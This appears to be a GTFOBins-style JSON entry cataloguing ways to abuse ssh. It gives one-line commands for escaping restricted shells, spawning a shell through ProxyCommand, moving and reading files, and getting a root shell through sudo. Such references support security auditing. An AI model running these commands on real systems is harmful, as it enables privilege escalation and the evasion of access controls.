{
  "functions": {
    "shell": [
      {
        "description": "Reconnecting may help bypassing restricted shells.",
        "code": "ssh localhost $SHELL --noprofile --norc"
      },
      {
        "description": "Spawn interactive shell through ProxyCommand option.",
        "code": "ssh -o ProxyCommand=';sh 0<&2 1>&2' x"
      }
    ],
    "file-upload": [
      {
        "description": "Send local file to a SSH server.",
        "code": "ssh [user@host] \"cat > [destination_file]\" < [source_file]\n"
      }
    ],
    "file-download": [
      {
        "description": "Fetch a remote file from a SSH server.",
        "code": "ssh [user@host] \"cat [source_file]\" > [destination_file]\n"
      }
    ],
    "file-read": [
      {
        "description": "The read file content is corrupted by error prints.",
        "code": "ssh -F [file] localhost\n"
      }
    ],
    "sudo": [
      {
        "description": "Spawn interactive root shell through ProxyCommand option.",
        "code": "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x"
      }
    ]
  }
}